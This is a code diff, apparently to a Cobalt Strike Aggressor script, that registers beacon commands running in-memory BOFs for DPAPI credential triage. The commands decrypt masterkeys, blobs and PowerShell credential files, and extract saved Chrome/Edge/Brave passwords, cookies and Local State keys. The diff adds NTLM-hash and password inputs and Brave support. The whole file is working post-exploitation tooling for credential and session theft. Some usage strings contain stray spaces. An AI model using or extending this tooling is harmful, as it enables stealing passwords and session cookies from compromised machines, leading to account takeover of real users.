@@ -36,6 +36,8 @@ sub _parse_args {
3636 %result["machine"] = "1";
3737 } else if ($arg eq "/nowrap") {
3838 %result["nowrap"] = "1";
39+ } else if ($arg eq "/showErrors") {
40+ %result["showErrors"] = "1";
3941 }
4042 }
4143 return %result;
@@ -55,13 +57,14 @@ alias masterkeys {
5557 %args = _parse_args(substr($0, 11));
5658
5759 $data = _load_bof("masterkeys");
58- $args = bof_pack($bid, "zzzzzzii ",
60+ $args = bof_pack($bid, "zzzzzzzii ",
5961 _str_or_empty(%args["pvk"]),
6062 _str_or_empty(%args["password"]),
6163 _str_or_empty(%args["ntlm"]),
6264 _str_or_empty(%args["credkey"]),
6365 _str_or_empty(%args["target"]),
6466 _str_or_empty(%args["server"]),
67+ _str_or_empty(%args["sid"]),
6568 iff(%args["rpc"] eq "1", 1, 0),
6669 iff(%args["hashes"] eq "1", 1, 0)
6770 );
@@ -71,7 +74,7 @@ alias masterkeys {
7174beacon_command_register(
7275 "masterkeys",
7376 "Triage user DPAPI masterkeys",
74- "Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/target:PATH] [/server:DC] [/rpc] [/hashes]"
77+ "Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY] [/target:PATH] [/server:DC] [/sid:SID] [/ rpc] [/hashes]"
7578);
7679
7780# ============================================================
@@ -137,8 +140,11 @@ alias blob {
137140 %args = _parse_args(substr($0, 5));
138141
139142 $data = _load_bof("blob");
140- $args = bof_pack($bid, "zzii ",
143+ $args = bof_pack($bid, "zzzzzii ",
141144 _str_or_empty(%args["target"]),
145+ _str_or_empty(%args["pvk"]),
146+ _str_or_empty(%args["password"]),
147+ _str_or_empty(%args["ntlm"]),
142148 _str_or_empty(%args["credkey"]),
143149 iff(%args["unprotect"] eq "1", 1, 0),
144150 iff(%args["rpc"] eq "1", 1, 0)
@@ -149,7 +155,7 @@ alias blob {
149155beacon_command_register(
150156 "blob",
151157 "Describe/decrypt a raw DPAPI blob",
152- "Usage: blob /target:BASE64_BLOB [/credkey:KEY] [/unprotect] [/rpc]"
158+ "Usage: blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/ credkey:KEY] [/unprotect] [/rpc]"
153159);
154160
155161# ============================================================
@@ -267,9 +273,11 @@ alias ps {
267273 %args = _parse_args(substr($0, 3));
268274
269275 $data = _load_bof("ps");
270- $args = bof_pack($bid, "zzzii ",
276+ $args = bof_pack($bid, "zzzzzii ",
271277 _str_or_empty(%args["target"]),
272278 _str_or_empty(%args["pvk"]),
279+ _str_or_empty(%args["password"]),
280+ _str_or_empty(%args["ntlm"]),
273281 _str_or_empty(%args["credkey"]),
274282 iff(%args["unprotect"] eq "1", 1, 0),
275283 iff(%args["rpc"] eq "1", 1, 0)
@@ -280,7 +288,7 @@ alias ps {
280288beacon_command_register(
281289 "ps",
282290 "Decrypt PowerShell PSCredential / SecureString files",
283- "Usage: ps /target:FILE [/pvk:BASE64] [/credkey:KEY] [/unprotect] [/rpc]"
291+ "Usage: ps /target:FILE [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/ credkey:KEY] [/unprotect] [/rpc]"
284292);
285293
286294# ============================================================
@@ -342,20 +350,23 @@ alias search {
342350 %args = _parse_args(substr($0, 7));
343351
344352 $data = _load_bof("search");
345- $args = bof_pack($bid, "zzzzz ",
353+ $args = bof_pack($bid, "zzzzzzii ",
346354 _str_or_empty(%args["target"]),
347355 _str_or_empty(%args["server"]),
348356 _str_or_empty(%args["pattern"]),
349357 _str_or_empty(%args["pvk"]),
350- _str_or_empty(%args["credkey"])
358+ _str_or_empty(%args["credkey"]),
359+ _str_or_empty(%args["type"]),
360+ iff(%args["maxBytes"] ne "", int(%args["maxBytes"]), 0),
361+ iff(%args["showErrors"] eq "1", 1, 0)
351362 );
352363 beacon_inline_execute($bid, $data, "go", $args);
353364}
354365
355366beacon_command_register(
356367 "search",
357368 "Search for files containing DPAPI blobs",
358- "Usage: search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64] [/credkey:KEY]"
369+ "Usage: search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64] [/credkey:KEY] [/type:TYPE] [/maxBytes:N] [/showErrors] "
359370);
360371
361372# ============================================================
@@ -388,22 +399,26 @@ alias chrome_logins {
388399 %args = _parse_args(substr($0, 14));
389400
390401 $data = _load_bof("chrome_logins");
391- $args = bof_pack($bid, "zzzzzii ",
402+ $args = bof_pack($bid, "zzzzzzzziii ",
392403 _str_or_empty(%args["pvk"]),
404+ _str_or_empty(%args["password"]),
405+ _str_or_empty(%args["ntlm"]),
393406 _str_or_empty(%args["credkey"]),
394407 _str_or_empty(%args["server"]),
395408 _str_or_empty(%args["target"]),
396409 _str_or_empty(%args["statekey"]),
410+ _str_or_empty(%args["browser"]),
397411 iff(%args["unprotect"] eq "1", 1, 0),
412+ iff(%args["showall"] eq "1", 1, 0),
398413 iff(%args["rpc"] eq "1", 1, 0)
399414 );
400415 beacon_inline_execute($bid, $data, "go", $args);
401416}
402417
403418beacon_command_register(
404419 "chrome_logins",
405- "Extract Chrome/Edge saved passwords",
406- "Usage: chrome_logins [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/unprotect] [/rpc]"
420+ "Extract Chrome/Edge/Brave saved passwords",
421+ "Usage: chrome_logins [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/ credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X] [/ unprotect] [/showall ] [/rpc]"
407422);
408423
409424alias chrome_cookies {
@@ -412,24 +427,28 @@ alias chrome_cookies {
412427 %args = _parse_args(substr($0, 15));
413428
414429 $data = _load_bof("chrome_cookies");
415- $args = bof_pack($bid, "zzzzzzzii ",
430+ $args = bof_pack($bid, "zzzzzzzzzziii ",
416431 _str_or_empty(%args["pvk"]),
432+ _str_or_empty(%args["password"]),
433+ _str_or_empty(%args["ntlm"]),
417434 _str_or_empty(%args["credkey"]),
418435 _str_or_empty(%args["server"]),
419436 _str_or_empty(%args["target"]),
420437 _str_or_empty(%args["statekey"]),
438+ _str_or_empty(%args["browser"]),
421439 _str_or_empty(%args["cookie"]),
422440 _str_or_empty(%args["url"]),
423441 iff(%args["unprotect"] eq "1", 1, 0),
442+ iff(%args["showall"] eq "1", 1, 0),
424443 iff(%args["rpc"] eq "1", 1, 0)
425444 );
426445 beacon_inline_execute($bid, $data, "go", $args);
427446}
428447
429448beacon_command_register(
430449 "chrome_cookies",
431- "Extract Chrome/Edge cookies",
432- "Usage: chrome_cookies [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/cookie:REGEX] [/url:REGEX] [/unprotect] [/rpc]"
450+ "Extract Chrome/Edge/Brave cookies",
451+ "Usage: chrome_cookies [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/ credkey:KEY] [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X] [/ cookie:REGEX] [/url:REGEX] [/unprotect] [/showall ] [/rpc]"
433452);
434453
435454alias chrome_statekeys {
@@ -438,11 +457,14 @@ alias chrome_statekeys {
438457 %args = _parse_args(substr($0, 17));
439458
440459 $data = _load_bof("chrome_statekeys");
441- $args = bof_pack($bid, "zzzzii ",
460+ $args = bof_pack($bid, "zzzzzzzii ",
442461 _str_or_empty(%args["pvk"]),
462+ _str_or_empty(%args["password"]),
463+ _str_or_empty(%args["ntlm"]),
443464 _str_or_empty(%args["credkey"]),
444465 _str_or_empty(%args["server"]),
445466 _str_or_empty(%args["target"]),
467+ _str_or_empty(%args["browser"]),
446468 iff(%args["unprotect"] eq "1", 1, 0),
447469 iff(%args["rpc"] eq "1", 1, 0)
448470 );
@@ -451,6 +473,6 @@ alias chrome_statekeys {
451473
452474beacon_command_register(
453475 "chrome_statekeys",
454- "Extract Chrome/Edge Local State AES keys",
455- "Usage: chrome_statekeys [/pvk:BASE64] [/credkey:KEY] [/server:DC] [/target:PATH] [/unprotect] [/rpc]"
476+ "Extract Chrome/Edge/Brave Local State AES keys",
477+ "Usage: chrome_statekeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/ credkey:KEY] [/server:DC] [/target:PATH] [/browser:X ] [/unprotect] [/rpc]"
456478);
0 commit comments